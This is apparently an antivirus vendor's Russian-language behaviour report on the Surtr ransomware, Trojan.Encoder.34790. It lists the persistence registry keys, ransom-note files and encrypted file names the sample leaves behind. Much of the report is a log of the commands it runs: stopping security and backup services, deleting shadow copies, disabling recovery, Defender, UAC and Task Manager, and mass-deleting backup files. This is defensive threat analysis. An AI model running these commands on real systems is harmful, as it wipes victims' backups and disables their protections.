Trojan.Encoder.34790

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchos1' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchos2' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'svchos3' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'svchos4' = '%ALLUSERSPROFILE%\Service\Surtr.exe'

Создает или изменяет следующие файлы

%APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
%APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
<SYSTEM32>\tasks\svchos1
<SYSTEM32>\tasks\svchos2
%APPDATA%\microsoft\windows\start menu\programs\startup\surtr.exe

Создает следующие файлы на съемном носителе

<Имя диска съемного носителя>:\split.avi
<Имя диска съемного носителя>:\join.avi

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Диспетчера задач (Taskmgr)
Системный антивирус (Защитник Windows)

блокирует:

Компонент восстановления системы (SR)
Средство контроля пользовательских учетных записей (UAC)

изменяет следующие системные настройки:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'

удаляет теневые копии разделов.

Запускает на исполнение

'<SYSTEM32>\net.exe' stop "Acronis VSS Provider"
'<SYSTEM32>\net.exe' stop "masvc"
'<SYSTEM32>\net.exe' stop "MBAMService"
'<SYSTEM32>\net.exe' stop "MBEndpointAgent"
'<SYSTEM32>\net.exe' stop "McAfeeEngineService"
'<SYSTEM32>\net.exe' stop "McAfeeFramework"
'<SYSTEM32>\net.exe' stop "McAfeeFrameworkMcAfeeFramework"
'<SYSTEM32>\net.exe' stop "McShield"
'<SYSTEM32>\net.exe' stop "mfemms"
'<SYSTEM32>\net.exe' stop "mfevtp"
'<SYSTEM32>\net.exe' stop "MMS"
'<SYSTEM32>\net.exe' stop "mozyprobackup"
'<SYSTEM32>\net.exe' stop "SQLsafe Backup Service"
'<SYSTEM32>\net.exe' stop "MsDtsServer"
'<SYSTEM32>\net.exe' stop "MsDtsServer110"
'<SYSTEM32>\net.exe' stop "MSExchangeES"
'<SYSTEM32>\net.exe' stop "MSExchangeIS"
'<SYSTEM32>\net.exe' stop "MSExchangeMGMT"
'<SYSTEM32>\net.exe' stop "MSExchangeMTA"
'<SYSTEM32>\net.exe' stop "MSExchangeSA"
'<SYSTEM32>\net.exe' stop "MSExchangeSRS"
'<SYSTEM32>\net.exe' stop "MSOLAP$SQL_2008"
'<SYSTEM32>\net.exe' stop "MSOLAP$SYSTEM_BGC"
'<SYSTEM32>\net.exe' stop "MSOLAP$TPS"
'<SYSTEM32>\net.exe' stop "MSOLAP$TPSAMA"
'<SYSTEM32>\net.exe' stop "IMAP4Svc"
'<SYSTEM32>\net.exe' stop "macmnsvc"
'<SYSTEM32>\net.exe' stop "IISAdmin"
'<SYSTEM32>\net.exe' stop "EPSecurityService"
'<SYSTEM32>\net.exe' stop "BackupExecVSSProvider"
'<SYSTEM32>\net.exe' stop "Sophos Agent"
'<SYSTEM32>\net.exe' stop "Sophos AutoUpdate Service"
'<SYSTEM32>\net.exe' stop "Sophos Clean Service"
'<SYSTEM32>\net.exe' stop "Sophos Device Control Service"
'<SYSTEM32>\net.exe' stop "Sophos File Scanner Service"
'<SYSTEM32>\net.exe' stop "Sophos Health Service"
'<SYSTEM32>\net.exe' stop "Sophos MCS Agent"
'<SYSTEM32>\net.exe' stop "Sophos MCS Client"
'<SYSTEM32>\net.exe' stop "Sophos Message Router"
'<SYSTEM32>\net.exe' stop "Sophos Safestore Service"
'<SYSTEM32>\net.exe' stop "Sophos System Protection Service"
'<SYSTEM32>\net.exe' stop "MSSQL$BKUPEXEC"
'<SYSTEM32>\net.exe' stop "MsDtsServer100"
'<SYSTEM32>\net.exe' stop "Sophos Web Control Service"
'<SYSTEM32>\net.exe' stop "Symantec System Recovery"
'<SYSTEM32>\net.exe' stop "Veeam Backup Catalog Data Service"
'<SYSTEM32>\net.exe' stop "AcronisAgent"
'<SYSTEM32>\net.exe' stop "AcrSch2Svc"
'<SYSTEM32>\net.exe' stop "Antivirus"
'<SYSTEM32>\net.exe' stop "BackupExecAgentAccelerator"
'<SYSTEM32>\net.exe' stop "BackupExecAgentBrowser"
'<SYSTEM32>\net.exe' stop "BackupExecDeviceMediaService"
'<SYSTEM32>\net.exe' stop "BackupExecJobEngine"
'<SYSTEM32>\net.exe' stop "BackupExecManagementService"
'<SYSTEM32>\net.exe' stop "BackupExecRPCService"
'<SYSTEM32>\net.exe' stop " Enterprise Client Service"
'<SYSTEM32>\net.exe' stop "SQLsafe Filter Service"
'<SYSTEM32>\net.exe' stop "MSSQL$ECWDB2"

Изменения в файловой системе

Создает следующие файлы

%ALLUSERSPROFILE%\service\service.surt
C:\far2\plugins\filecase\private_data.surt
C:\far2\plugins\filecase\surtr_readme.txt
C:\far2\plugins\filecase\surtr_readme.hta
C:\far2\plugins\farcmds\private_data.surt
C:\far2\plugins\farcmds\surtr_readme.txt
C:\far2\plugins\farcmds\surtr_readme.hta
C:\far2\plugins\emenu\private_data.surt
C:\far2\plugins\emenu\surtr_readme.txt
C:\far2\plugins\emenu\surtr_readme.hta
C:\far2\plugins\editcase\private_data.surt
C:\far2\plugins\editcase\surtr_readme.txt
C:\far2\plugins\editcase\surtr_readme.hta
C:\far2\plugins\drawline\private_data.surt
C:\far2\plugins\drawline\surtr_readme.txt
C:\far2\plugins\compare\private_data.surt
C:\far2\plugins\ftp\lib\surtr_readme.txt
C:\far2\plugins\compare\surtr_readme.txt
C:\far2\plugins\compare\surtr_readme.hta
C:\far2\plugins\brackets\private_data.surt
C:\far2\plugins\brackets\surtr_readme.txt
C:\far2\plugins\brackets\surtr_readme.hta
C:\far2\plugins\autowrap\private_data.surt
C:\far2\plugins\autowrap\surtr_readme.txt
C:\far2\plugins\autowrap\surtr_readme.hta
C:\far2\plugins\arclite\private_data.surt
C:\far2\plugins\arclite\surtr_readme.txt
C:\far2\plugins\arclite\surtr_readme.hta
C:\far2\plugins\align\private_data.surt
C:\far2\plugins\align\surtr_readme.txt
C:\far2\plugins\drawline\surtr_readme.hta
C:\far2\addons\private_data.surt
C:\far2\plugins\ftp\lib\private_data.surt
C:\far2\surtr_readme.hta
C:\far2\pluginsdk\private_data.surt
C:\far2\pluginsdk\surtr_readme.txt
C:\far2\pluginsdk\surtr_readme.hta
C:\far2\pluginsdk\headers.pas\private_data.surt
C:\far2\pluginsdk\headers.pas\surtr_readme.txt
C:\far2\pluginsdk\headers.pas\surtr_readme.hta
C:\far2\pluginsdk\headers.c\private_data.surt
C:\far2\pluginsdk\headers.c\surtr_readme.txt
C:\far2\pluginsdk\headers.c\surtr_readme.hta
C:\far2\plugins\private_data.surt
C:\far2\plugins\surtr_readme.txt
C:\far2\plugins\surtr_readme.hta
C:\far2\plugins\tmppanel\private_data.surt
C:\far2\plugins\align\surtr_readme.hta
C:\far2\plugins\ftp\lib\surtr_readme.hta
C:\far2\plugins\proclist\private_data.surt
C:\far2\plugins\proclist\surtr_readme.txt
C:\far2\plugins\proclist\surtr_readme.hta
C:\far2\plugins\network\private_data.surt
C:\far2\plugins\network\surtr_readme.txt
C:\far2\plugins\network\surtr_readme.hta
C:\far2\plugins\macroview\private_data.surt
C:\far2\plugins\macroview\surtr_readme.txt
C:\far2\plugins\macroview\surtr_readme.hta
C:\far2\plugins\hlfviewer\private_data.surt
C:\far2\plugins\hlfviewer\surtr_readme.txt
C:\far2\plugins\hlfviewer\surtr_readme.hta
C:\far2\plugins\ftp\private_data.surt
C:\far2\plugins\ftp\surtr_readme.txt
C:\far2\plugins\tmppanel\surtr_readme.hta
C:\far2\plugins\ftp\surtr_readme.hta
C:\far2\fexcept\private_data.surt
C:\far2\fexcept\surtr_readme.txt
C:\far2\fexcept\surtr_readme.hta
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
C:\far2\addons\colors\surtr_readme.hta
C:\documents and settings\private_data.surt
C:\documents and settings\surtr_readme.txt
C:\documents and settings\surtr_readme.hta
D:\private_data.surt
D:\surtr_readme.txt
D:\surtr_readme.hta
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr.exe
%TEMP%\service\surtr_readme.txt
%TEMP%\service\surtr_readme.hta
%TEMP%\service\id_data.surt
%TEMP%\service\private_data.surt
%TEMP%\service\public_data.surt
C:\far2\surtr_readme.txt
C:\far2\addons\colors\private_data.surt
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
<Текущая директория>\surtr_readme.txt
<Текущая директория>\surtr_readme.hta
%ALLUSERSPROFILE%\service\public_data.surt
%ALLUSERSPROFILE%\service\private_data.surt
%ALLUSERSPROFILE%\service\id_data.surt
%ALLUSERSPROFILE%\service\surtr.exe
%ALLUSERSPROFILE%\service\surtr_readme.txt
%ALLUSERSPROFILE%\service\surtr_readme.hta
<Текущая директория>\private_data.surt
<Текущая директория>\public_data.surt
<Текущая директория>\id_data.surt
%ALLUSERSPROFILE%\service\reg.surt
%ALLUSERSPROFILE%\service\bus.surt
%TEMP%\service\surtr.exe
C:\far2\plugins\tmppanel\surtr_readme.txt
C:\far2\addons\macros\surtr_readme.hta
C:\far2\addons\setup\surtr_readme.hta
C:\far2\addons\macros\surtr_readme.txt
C:\far2\encyclopedia\private_data.surt
C:\far2\encyclopedia\surtr_readme.txt
C:\far2\encyclopedia\surtr_readme.hta
C:\far2\encyclopedia\tap\private_data.surt
C:\far2\encyclopedia\tap\surtr_readme.txt
C:\far2\encyclopedia\tap\surtr_readme.hta
C:\far2\documentation\private_data.surt
C:\far2\documentation\surtr_readme.txt
C:\far2\documentation\surtr_readme.hta
C:\far2\documentation\rus\private_data.surt
C:\far2\documentation\rus\surtr_readme.txt
C:\far2\documentation\rus\surtr_readme.hta
C:\far2\documentation\eng\private_data.surt
C:\far2\addons\macros\private_data.surt
C:\far2\documentation\eng\surtr_readme.txt
C:\far2\addons\colors\surtr_readme.txt
C:\far2\addons\surtr_readme.txt
C:\far2\addons\surtr_readme.hta
C:\far2\addons\xlat\private_data.surt
C:\far2\addons\xlat\surtr_readme.txt
C:\far2\addons\xlat\surtr_readme.hta
C:\far2\addons\xlat\russian\private_data.surt
C:\far2\addons\xlat\russian\surtr_readme.txt
C:\far2\addons\xlat\russian\surtr_readme.hta
C:\far2\addons\shell\private_data.surt
C:\far2\addons\shell\surtr_readme.txt
C:\far2\addons\shell\surtr_readme.hta
C:\far2\addons\setup\private_data.surt
C:\far2\addons\setup\surtr_readme.txt
C:\far2\documentation\eng\surtr_readme.hta
C:\far2\private_data.surt

Изменяет следующие файлы

D:\install.log.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\hell.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\greenmile.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\farcolors242.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\dn_like.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\descript.ion.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\colors_from_sadovoj.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\colors_from_gernichenko.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\colors_from_admin_essp_ru.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\black_from_myodov.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\black_from_july.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\black_from_fonarev.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\vaxcolors.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\rodion_doroshkevich.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\nc5pal2.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\import_colors.bat.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\hell.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\greenmile.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\farcolors242.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\dn_like.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\descript.ion.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\colors_from_sadovoj.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\colors_from_gernichenko.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\colors_from_admin_essp_ru.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\black_from_myodov.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\black_from_july.reg.[helpme@mailfence.com].surt
C:\far2\addons\colors\custom_highlighting\black_from_fonarev.reg.[helpme@mailfence.com].surt
<Имя диска съемного носителя>:\split.avi.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\import_colors.bat.[helpme@mailfence.com].surt
C:\far2\addons\colors\default_highlighting\nc5pal2.reg.[helpme@mailfence.com].surt

Изменяет множество файлов.

Сетевая активность

Подключается к

'ip##pi.com':80

TCP

Запросы HTTP GET

http://ip###i.com:80/json/ via ip##pi.com

UDP

DNS ASK ip##pi.com

Другое

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c mkdir %ALLUSERSPROFILE%\Service
'<SYSTEM32>\net1.exe' stop "BackupExecVSSProvider"
'<SYSTEM32>\cmd.exe' /c net stop "EPSecurityService"
'<SYSTEM32>\net1.exe' stop "EPSecurityService"
'<SYSTEM32>\cmd.exe' /c net stop "IISAdmin"
'<SYSTEM32>\net1.exe' stop "IISAdmin"
'<SYSTEM32>\cmd.exe' /c attrib +R /S "%TEMP%\Service"
'<SYSTEM32>\attrib.exe' +R /S "%TEMP%\Service"
'<SYSTEM32>\cmd.exe' /c net stop "IMAP4Svc"
'<SYSTEM32>\net1.exe' stop "IMAP4Svc"
'<SYSTEM32>\net1.exe' stop "BackupExecRPCService"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecVSSProvider"
'<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
'<SYSTEM32>\net1.exe' stop "macmnsvc"
'<SYSTEM32>\cmd.exe' /c net stop "masvc"
'<SYSTEM32>\net1.exe' stop "masvc"
'<SYSTEM32>\cmd.exe' /c net stop "MBAMService"
'<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
'<SYSTEM32>\net1.exe' stop "MBAMService"
'<SYSTEM32>\cmd.exe' /c net stop "MBEndpointAgent"
'<SYSTEM32>\net1.exe' stop "MBEndpointAgent"
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
'<SYSTEM32>\cmd.exe' /c net stop "macmnsvc"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
'<SYSTEM32>\cmd.exe' /c net stop "McAfeeEngineService"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecManagementService"
'<SYSTEM32>\net1.exe' stop "Antivirus"
'<SYSTEM32>\cmd.exe' /c mkdir "%TEMP%\Service"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecAgentAccelerator"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
'<SYSTEM32>\net1.exe' stop "BackupExecAgentAccelerator"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecAgentBrowser"
'<SYSTEM32>\net1.exe' stop "BackupExecManagementService"
'<SYSTEM32>\cmd.exe' /c net stop "Antivirus"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecRPCService"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecDeviceMediaService"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
'<SYSTEM32>\net1.exe' stop "BackupExecDeviceMediaService"
'<SYSTEM32>\cmd.exe' /c attrib +R /S "%ALLUSERSPROFILE%\Service"
'<SYSTEM32>\attrib.exe' +R /S "%ALLUSERSPROFILE%\Service"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecJobEngine"
'<SYSTEM32>\net1.exe' stop "BackupExecJobEngine"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"
'<SYSTEM32>\net1.exe' stop "BackupExecAgentBrowser"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\cmd.exe' /c net stop "MSExchangeES"
'<SYSTEM32>\cmd.exe' /c net stop "MSExchangeIS"
'<SYSTEM32>\net1.exe' stop "MSExchangeIS"
'<SYSTEM32>\cmd.exe' /c net stop "MSExchangeMGMT"
'<SYSTEM32>\net1.exe' stop "MSExchangeMGMT"
'<SYSTEM32>\cmd.exe' /c net stop "MSExchangeMTA"
'<SYSTEM32>\net1.exe' stop "MSExchangeMTA"
'<SYSTEM32>\cmd.exe' /c net stop "MSExchangeSA"
'<SYSTEM32>\net1.exe' stop "MSExchangeSA"
'<SYSTEM32>\net1.exe' stop "MsDtsServer110"
'<SYSTEM32>\cmd.exe' /c net stop "MSExchangeSRS"
'<SYSTEM32>\net1.exe' stop "MSExchangeES"
'<SYSTEM32>\cmd.exe' /c net stop "MSOLAP$SQL_2008"
'<SYSTEM32>\cmd.exe' /c net stop "MSOLAP$SYSTEM_BGC"
'<SYSTEM32>\net1.exe' stop "MSOLAP$SYSTEM_BGC"
'<SYSTEM32>\cmd.exe' /c net stop "MSOLAP$TPS"
'<SYSTEM32>\net1.exe' stop "MSOLAP$TPS"
'<SYSTEM32>\cmd.exe' /c net stop "MSOLAP$TPSAMA"
'<SYSTEM32>\net1.exe' stop "MSOLAP$TPSAMA"
'<SYSTEM32>\cmd.exe' /c net stop "MSSQL$BKUPEXEC"
'<SYSTEM32>\net1.exe' stop "MSSQL$BKUPEXEC"
'<SYSTEM32>\net1.exe' stop "MSExchangeSRS"
'<SYSTEM32>\cmd.exe' /c net stop "MsDtsServer110"
'<SYSTEM32>\net1.exe' stop "MSOLAP$SQL_2008"
'<SYSTEM32>\net1.exe' stop "MsDtsServer100"
'<SYSTEM32>\cmd.exe' /c net stop "MsDtsServer100"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\cmd.exe' /c net stop "McAfeeFramework"
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\net1.exe' stop "McAfeeFramework"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\cmd.exe' /c net stop "McAfeeFrameworkMcAfeeFramework"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\net1.exe' stop "McAfeeFrameworkMcAfeeFramework"
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\cmd.exe' /c net stop "McShield"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\net1.exe' stop "McShield"
'<SYSTEM32>\net1.exe' stop "mfemms"
'<SYSTEM32>\cmd.exe' /c net stop "mfevtp"
'<SYSTEM32>\net1.exe' stop "mfevtp"
'<SYSTEM32>\cmd.exe' /c net stop "MMS"
'<SYSTEM32>\net1.exe' stop "MMS"
'<SYSTEM32>\cmd.exe' /c net stop "mozyprobackup"
'<SYSTEM32>\net1.exe' stop "mozyprobackup"
'<SYSTEM32>\cmd.exe' /c net stop "MsDtsServer"
'<SYSTEM32>\net1.exe' stop "MsDtsServer"
'<SYSTEM32>\net1.exe' stop "AcrSch2Svc"
'<SYSTEM32>\cmd.exe' /c net stop "mfemms"
'<SYSTEM32>\cmd.exe' /c mkdir "%ALLUSERSPROFILE%\Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c net stop "AcrSch2Svc"
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Device Control Service"
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos Device Control Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos File Scanner Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos Clean Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos File Scanner Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos Health Service"
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos MCS Agent"
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos MCS Agent"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Health Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Clean Service"
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c chcp 437
'<SYSTEM32>\chcp.com' 437
'<SYSTEM32>\cmd.exe' /c net stop "Acronis VSS Provider"
'<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
'<SYSTEM32>\cmd.exe' /c vssadmin Delete Shadows /all /quiet
'<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
'<SYSTEM32>\net1.exe' stop "Acronis VSS Provider"
'<SYSTEM32>\cmd.exe' /c net stop " Enterprise Client Service"
'<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
'<SYSTEM32>\net1.exe' stop " Enterprise Client Service"
'<SYSTEM32>\cmd.exe' /c @echo off
'<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Agent"
'<SYSTEM32>\cmd.exe' /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
'<SYSTEM32>\net1.exe' stop "Sophos Agent"
'<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy IgnoreAllFailures
'<SYSTEM32>\cmd.exe' /c net stop "Sophos AutoUpdate Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c del /s /f /q C:\*.bac C:\*.bak C:\*.bkf C:\Backup*.* C:\Backup*.*
'<SYSTEM32>\net1.exe' stop "Sophos AutoUpdate Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled No
